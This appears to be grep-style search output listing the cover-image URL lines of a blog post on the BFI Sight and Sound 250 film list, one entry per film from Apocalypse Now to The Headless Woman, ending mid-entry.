+/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:141: cover: "https://krisyotam.com/cdn/images/film/apocalypse-now-francis-ford-coppola-1979.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:147: cover: "https://krisyotam.com/cdn/images/film/seven-samurai-akira-kurosawa-1954.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:153: cover: "https://krisyotam.com/cdn/images/film/the-passion-of-joan-of-arc-carl-theodor-dreyer-1928.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:159: cover: "https://krisyotam.com/cdn/images/film/late-spring-yasujiro-ozu-1949.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:165: cover: "https://krisyotam.com/cdn/images/film/playtime-jacques-tati-1967.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:171: cover: "https://krisyotam.com/cdn/images/film/do-the-right-thing-spike-lee-1989.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:177: cover: "https://krisyotam.com/cdn/images/film/au-hasard-balthazar-robert-bresson-1966.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:183: cover: "https://krisyotam.com/cdn/images/film/the-night-of-the-hunter-charles-laughton-1955.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:189: cover: "https://krisyotam.com/cdn/images/film/shoah-claude-lanzmann-1985.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:195: cover: "https://krisyotam.com/cdn/images/film/daisies-vera-chytilova-1966.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:201: cover: "https://krisyotam.com/cdn/images/film/taxi-driver-martin-scorsese-1976.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:207: cover: "https://krisyotam.com/cdn/images/film/portrait-of-a-lady-on-fire-celine-sciamma-2019.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:213: cover: "https://krisyotam.com/cdn/images/film/mirror-andrei-tarkovsky-1975.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:219: cover: "https://krisyotam.com/cdn/images/film/psycho-alfred-hitchcock-1960.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:225: cover: "https://krisyotam.com/cdn/images/film/812-federico-fellini-1963.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:231: cover: "https://krisyotam.com/cdn/images/film/latalante-jean-vigo-1934.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:237: cover: "https://krisyotam.com/cdn/images/film/pather-panchali-satyajit-ray-1955.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:243: cover: "https://krisyotam.com/cdn/images/film/city-lights-charles-chaplin-1931.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:249: cover: "https://krisyotam.com/cdn/images/film/m-fritz-lang-1931.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:255: cover: "https://krisyotam.com/cdn/images/film/some-like-it-hot-billy-wilder-1959.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:261: cover: "https://krisyotam.com/cdn/images/film/a-bout-de-souffle-jean-luc-godard-1960.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:267: cover: "https://krisyotam.com/cdn/images/film/rear-window-alfred-hitchcock-1954.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:273: cover: "https://krisyotam.com/cdn/images/film/bicycle-thieves-vittorio-de-sica-1948.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:279: cover: "https://krisyotam.com/cdn/images/film/rashomon-akira-kurosawa-1950.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:285: cover: "https://krisyotam.com/cdn/images/film/killer-of-sheep-charles-burnett-1978.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:291: cover: "https://krisyotam.com/cdn/images/film/stalker-andrei-tarkovsky-1979.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:297: cover: "https://krisyotam.com/cdn/images/film/the-battle-of-algiers-gillo-pontecorvo-1966.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:303: cover: "https://krisyotam.com/cdn/images/film/north-by-northwest-alfred-hitchcock-1959.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:309: cover: "https://krisyotam.com/cdn/images/film/barry-lyndon-stanley-kubrick-1975.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:315: cover: "https://krisyotam.com/cdn/images/film/wanda-barbara-loden-1970.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:321: cover: "https://krisyotam.com/cdn/images/film/ordet-carl-th-dreyer-1955.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:327: cover: "https://krisyotam.com/cdn/images/film/the-400-blows-francois-truffaut-1959.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:333: cover: "https://krisyotam.com/cdn/images/film/the-piano-jane-campion-1993.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:339: cover: "https://krisyotam.com/cdn/images/film/fear-eats-the-soul-rainer-werner-fassbinder-1974.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:345: cover: "https://krisyotam.com/cdn/images/film/news-from-home-chantal-akerman-1977.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:351: cover: "https://krisyotam.com/cdn/images/film/blade-runner-ridley-scott-1982.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:357: cover: "https://krisyotam.com/cdn/images/film/battleship-potemkin-sergei-eisenstein-1925.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:363: cover: "https://krisyotam.com/cdn/images/film/le-mepris-jean-luc-godard-1963.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:369: cover: "https://krisyotam.com/cdn/images/film/sherlock-jr-buster-keaton-1924.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:375: cover: "https://krisyotam.com/cdn/images/film/the-apartment-billy-wilder-1960.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:381: cover: "https://krisyotam.com/cdn/images/film/sans-soleil-chris-marker-1983.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:387: cover: "https://krisyotam.com/cdn/images/film/moonlight-barry-jenkins-2016.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:393: cover: "https://krisyotam.com/cdn/images/film/la-dolce-vita-federico-fellini-1960.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:399: cover: "https://krisyotam.com/cdn/images/film/daughters-of-the-dust-julie-dash-1991.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:405: cover: "https://krisyotam.com/cdn/images/film/casablanca-michael-curtiz-1942.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:411: cover: "https://krisyotam.com/cdn/images/film/goodfellas-martin-scorsese-1990.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:417: cover: "https://krisyotam.com/cdn/images/film/the-third-man-carol-reed-1949.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:423: cover: "https://krisyotam.com/cdn/images/film/touki-bouki-djibril-diop-mambety-1973.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:429: cover: "https://krisyotam.com/cdn/images/film/the-gleaners-and-i-agnes-varda-2000.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:435: cover: "https://krisyotam.com/cdn/images/film/la-jetee-chris-marker-1962.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:441: cover: "https://krisyotam.com/cdn/images/film/andrei-rublev-andrei-tarkovsky-1966.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:447: cover: "https://krisyotam.com/cdn/images/film/metropolis-fritz-lang-1927.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:453: cover: "https://krisyotam.com/cdn/images/film/the-red-shoes-michael-powell-1948.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:459: cover: "https://krisyotam.com/cdn/images/film/my-neighbour-totoro-hayao-miyazaki-1988.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:465: cover: "https://krisyotam.com/cdn/images/film/journey-to-italy-roberto-rossellini-1954.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:471: cover: "https://krisyotam.com/cdn/images/film/lavventura-michelangelo-antonioni-1960.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:477: cover: "https://krisyotam.com/cdn/images/film/imitation-of-life-douglas-sirk-1959.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:483: cover: "https://krisyotam.com/cdn/images/film/sansho-the-bailiff-kenji-mizoguchi-1954.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:489: cover: "https://krisyotam.com/cdn/images/film/spirited-away-hayao-miyazaki-2001.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:495: cover: "https://krisyotam.com/cdn/images/film/satantango-bela-tarr-1994.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:501: cover: "https://krisyotam.com/cdn/images/film/a-brighter-summer-day-edward-yang-1991.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:507: cover: "https://krisyotam.com/cdn/images/film/celine-and-julie-go-boating-jacques-rivette-1974.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:513: cover: "https://krisyotam.com/cdn/images/film/sunset-blvd-billy-wilder-1950.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:519: cover: "https://krisyotam.com/cdn/images/film/modern-times-charles-chaplin-1936.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:525: cover: "https://krisyotam.com/cdn/images/film/a-matter-of-life-and-death-michael-powell-1946.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:531: cover: "https://krisyotam.com/cdn/images/film/histoires-du-cinema-jean-luc-godard-1998.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:537: cover: "https://krisyotam.com/cdn/images/film/pierrot-le-fou-jean-luc-godard-1965.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:543: cover: "https://krisyotam.com/cdn/images/film/the-spirit-of-the-beehive-victor-erice-1973.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:549: cover: "https://krisyotam.com/cdn/images/film/blue-velvet-david-lynch-1986.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:555: cover: "https://krisyotam.com/cdn/images/film/chungking-express-wong-kar-wai-1994.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:561: cover: "https://krisyotam.com/cdn/images/film/the-shining-stanley-kubrick-1980.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:567: cover: "https://krisyotam.com/cdn/images/film/madame-de-max-ophuls-1953.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:573: cover: "https://krisyotam.com/cdn/images/film/the-leopard-luchino-visconti-1963.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:579: cover: "https://krisyotam.com/cdn/images/film/ugetsu-monogatari-kenji-mizoguchi-1953.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:585: cover: "https://krisyotam.com/cdn/images/film/yi-yi-edward-yang-2000.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:591: cover: "https://krisyotam.com/cdn/images/film/parasite-bong-joon-ho-2019.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:597: cover: "https://krisyotam.com/cdn/images/film/get-out-jordan-peele-2017.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:603: cover: "https://krisyotam.com/cdn/images/film/tropical-malady-apichatpong-weerasethakul-2004.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:609: cover: "https://krisyotam.com/cdn/images/film/black-girl-ousmane-sembene-1966.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:615: cover: "https://krisyotam.com/cdn/images/film/the-general-buster-keaton-1926.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:621: cover: "https://krisyotam.com/cdn/images/film/a-man-escaped-robert-bresson-1956.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:627: cover: "https://krisyotam.com/cdn/images/film/once-upon-a-time-in-the-west-sergio-leone-1968.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:633: cover: "https://krisyotam.com/cdn/images/film/rio-bravo-howard-hawks-1959.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:639: cover: "https://krisyotam.com/cdn/images/film/the-house-is-black-forough-farrokhzad-1963.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:645: cover: "https://krisyotam.com/cdn/images/film/vagabond-agnes-varda-1985.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:651: cover: "https://krisyotam.com/cdn/images/film/la-maman-et-la-putain-jean-eustache-1973.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:657: cover: "https://krisyotam.com/cdn/images/film/come-and-see-elem-klimov-1985.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:663: cover: "https://krisyotam.com/cdn/images/film/jaws-steven-spielberg-1975.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:669: cover: "https://krisyotam.com/cdn/images/film/the-godfather-part-ii-francis-ford-coppola-1974.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:675: cover: "https://krisyotam.com/cdn/images/film/goodbye-dragon-inn-tsai-ming-liang-2003.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:681: cover: "https://krisyotam.com/cdn/images/film/the-wizard-of-oz-victor-fleming-1939.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:687: cover: "https://krisyotam.com/cdn/images/film/wild-strawberries-ingmar-bergman-1957.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:693: cover: "https://krisyotam.com/cdn/images/film/touch-of-evil-orson-welles-1958.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:699: cover: "https://krisyotam.com/cdn/images/film/the-man-who-shot-liberty-valance-john-ford-1962.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:705: cover: "https://krisyotam.com/cdn/images/film/bringing-up-baby-howard-hawks-1938.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:711: cover: "https://krisyotam.com/cdn/images/film/to-be-or-not-to-be-ernst-lubitsch-1942.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:717: cover: "https://krisyotam.com/cdn/images/film/a-woman-under-the-influence-john-cassavetes-1974.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:723: cover: "https://krisyotam.com/cdn/images/film/nashville-robert-altman-1975.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:729: cover: "https://krisyotam.com/cdn/images/film/dont-look-now-nicolas-roeg-1973.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:735: cover: "https://krisyotam.com/cdn/images/film/aguirre-wrath-of-god-werner-herzog-1972.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:741: cover: "https://krisyotam.com/cdn/images/film/the-conformist-bernardo-bertolucci-1970.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:747: cover: "https://krisyotam.com/cdn/images/film/the-texas-chain-saw-massacre-tobe-hooper-1974.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:753: cover: "https://krisyotam.com/cdn/images/film/the-thing-john-carpenter-1982.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:759: cover: "https://krisyotam.com/cdn/images/film/there-will-be-blood-paul-thomas-anderson-2007.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:765: cover: "https://krisyotam.com/cdn/images/film/the-matrix-lana-wachowski-1999.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:771: cover: "https://krisyotam.com/cdn/images/film/the-color-of-pomegranates-sergei-parajanov-1969.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:777: cover: "https://krisyotam.com/cdn/images/film/johnny-guitar-nicholas-ray-1954.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:783: cover: "https://krisyotam.com/cdn/images/film/the-umbrellas-of-cherbourg-jacques-demy-1964.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:789: cover: "https://krisyotam.com/cdn/images/film/only-angels-have-wings-howard-hawks-1939.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:795: cover: "https://krisyotam.com/cdn/images/film/the-ascent-larisa-shepitko-1977.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:801: cover: "https://krisyotam.com/cdn/images/film/fanny-and-alexander-ingmar-bergman-1982.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:807: cover: "https://krisyotam.com/cdn/images/film/his-girl-friday-howard-hawks-1940.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:813: cover: "https://krisyotam.com/cdn/images/film/raging-bull-martin-scorsese-1980.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:819: cover: "https://krisyotam.com/cdn/images/film/pulp-fiction-quentin-tarantino-1994.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:825: cover: "https://krisyotam.com/cdn/images/film/lawrence-of-arabia-david-lean-1962.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:831: cover: "https://krisyotam.com/cdn/images/film/notorious-alfred-hitchcock-1946.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:837: cover: "https://krisyotam.com/cdn/images/film/its-a-wonderful-life-frank-capra-1946.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:843: cover: "https://krisyotam.com/cdn/images/film/la-cienaga-lucrecia-martel-2001.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:849: cover: "https://krisyotam.com/cdn/images/film/les-enfants-du-paradis-marcel-carne-1945.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:855: cover: "https://krisyotam.com/cdn/images/film/the-wild-bunch-sam-peckinpah-1969.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:861: cover: "https://krisyotam.com/cdn/images/film/sambizanga-sarah-maldoror-1972.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:867: cover: "https://krisyotam.com/cdn/images/film/trouble-in-paradise-ernst-lubitsch-1932.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:873: cover: "https://krisyotam.com/cdn/images/film/the-seventh-seal-ingmar-bergman-1957.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:879: cover: "https://krisyotam.com/cdn/images/film/pickpocket-robert-bresson-1959.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:885: cover: "https://krisyotam.com/cdn/images/film/partie-de-campagne-jean-renoir-1936.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:891: cover: "https://krisyotam.com/cdn/images/film/all-that-heaven-allows-douglas-sirk-1955.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:897: cover: "https://krisyotam.com/cdn/images/film/gertrud-carl-theodor-dreyer-1964.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:903: cover: "https://krisyotam.com/cdn/images/film/the-watermelon-woman-cheryl-dunye-1996.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:909: cover: "https://krisyotam.com/cdn/images/film/vampyr-carl-theodor-dreyer-1932.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:915: cover: "https://krisyotam.com/cdn/images/film/alien-ridley-scott-1979.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:921: cover: "https://krisyotam.com/cdn/images/film/india-song-marguerite-duras-1975.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:927: cover: "https://krisyotam.com/cdn/images/film/la-grande-illusion-jean-renoir-1937.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:933: cover: "https://krisyotam.com/cdn/images/film/chinatown-roman-polanski-1974.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:939: cover: "https://krisyotam.com/cdn/images/film/twin-peaks-the-return-david-lynch-2017.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:945: cover: "https://krisyotam.com/cdn/images/film/west-indies-med-hondo-1979.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:951: cover: "https://krisyotam.com/cdn/images/film/days-of-heaven-terrence-malick-1978.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:957: cover: "https://krisyotam.com/cdn/images/film/meghe-dhaka-tara-ritwik-ghatak-1960.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:963: cover: "https://krisyotam.com/cdn/images/film/le-bonheur-agnes-varda-1965.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:969: cover: "https://krisyotam.com/cdn/images/film/west-of-the-tracks-wang-bing-2003.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:975: cover: "https://krisyotam.com/cdn/images/film/orlando-sally-potter-1992.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:981: cover: "https://krisyotam.com/cdn/images/film/a-city-of-sadness-hou-hsiao-hsien-1989.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:987: cover: "https://krisyotam.com/cdn/images/film/all-about-my-mother-pedro-almodovar-1999.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:993: cover: "https://krisyotam.com/cdn/images/film/where-is-the-friends-house-abbas-kiarostami-1987.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:999: cover: "https://krisyotam.com/cdn/images/film/the-gospel-according-to-st-matthew-pier-paolo-pasolini-1964.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1005: cover: "https://krisyotam.com/cdn/images/film/once-upon-a-time-in-america-sergio-leone-1984.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1011: cover: "https://krisyotam.com/cdn/images/film/amarcord-federico-fellini-1973.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1017: cover: "https://krisyotam.com/cdn/images/film/vivre-sa-vie-jean-luc-godard-1962.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1023: cover: "https://krisyotam.com/cdn/images/film/out-of-the-past-jacques-tourneur-1947.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1029: cover: "https://krisyotam.com/cdn/images/film/ikiru-akira-kurosawa-1952.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1035: cover: "https://krisyotam.com/cdn/images/film/los-olvidados-luis-bunuel-1950.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1041: cover: "https://krisyotam.com/cdn/images/film/last-year-at-marienbad-alain-resnais-1961.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1047: cover: "https://krisyotam.com/cdn/images/film/largent-robert-bresson-1983.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1053: cover: "https://krisyotam.com/cdn/images/film/un-chien-andalou-luis-bunuel-1929.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1059: cover: "https://krisyotam.com/cdn/images/film/out-1-jacques-rivette-1971.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1065: cover: "https://krisyotam.com/cdn/images/film/symbiopsychotaxiplasm-take-one-william-greaves-1968.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1071: cover: "https://krisyotam.com/cdn/images/film/heat-michael-mann-1995.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1077: cover: "https://krisyotam.com/cdn/images/film/under-the-skin-jonathan-glazer-2013.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1083: cover: "https://krisyotam.com/cdn/images/film/the-exterminating-angel-luis-bunuel-1962.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1089: cover: "https://krisyotam.com/cdn/images/film/memories-of-underdevelopment-tomas-gutierrez-alea-1968.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1095: cover: "https://krisyotam.com/cdn/images/film/black-narcissus-michael-powell-1947.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1101: cover: "https://krisyotam.com/cdn/images/film/red-desert-michelangelo-antonioni-1964.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1107: cover: "https://krisyotam.com/cdn/images/film/the-good-the-bad-and-the-ugly-sergio-leone-1966.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1113: cover: "https://krisyotam.com/cdn/images/film/charulata-satyajit-ray-1964.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1119: cover: "https://krisyotam.com/cdn/images/film/letter-from-an-unknown-woman-max-ophuls-1948.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1125: cover: "https://krisyotam.com/cdn/images/film/hiroshima-mon-amour-alain-resnais-1959.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1131: cover: "https://krisyotam.com/cdn/images/film/the-magnificent-ambersons-orson-welles-1942.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1137: cover: "https://krisyotam.com/cdn/images/film/magnolia-paul-thomas-anderson-1999.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1143: cover: "https://krisyotam.com/cdn/images/film/wings-of-desire-wim-wenders-1987.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1149: cover: "https://krisyotam.com/cdn/images/film/pyaasa-guru-dutt-1957.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1155: cover: "https://krisyotam.com/cdn/images/film/ran-akira-kurosawa-1985.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1161: cover: "https://krisyotam.com/cdn/images/film/greed-erich-von-stroheim-1924.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1167: cover: "https://krisyotam.com/cdn/images/film/love-streams-john-cassavetes-1984.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1173: cover: "https://krisyotam.com/cdn/images/film/an-autumn-afternoon-yasujiro-ozu-1962.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1179: cover: "https://krisyotam.com/cdn/images/film/the-river-jean-renoir-1951.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1185: cover: "https://krisyotam.com/cdn/images/film/the-birds-alfred-hitchcock-1963.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1191: cover: "https://krisyotam.com/cdn/images/film/les-demoiselles-de-rochefort-jacques-demy-1967.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1197: cover: "https://krisyotam.com/cdn/images/film/paris-texas-wim-wenders-1984.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1203: cover: "https://krisyotam.com/cdn/images/film/paris-is-burning-jennie-livingston-1990.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1209: cover: "https://krisyotam.com/cdn/images/film/the-headless-woman-lucrecia-martel-2008.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:1215: cover: 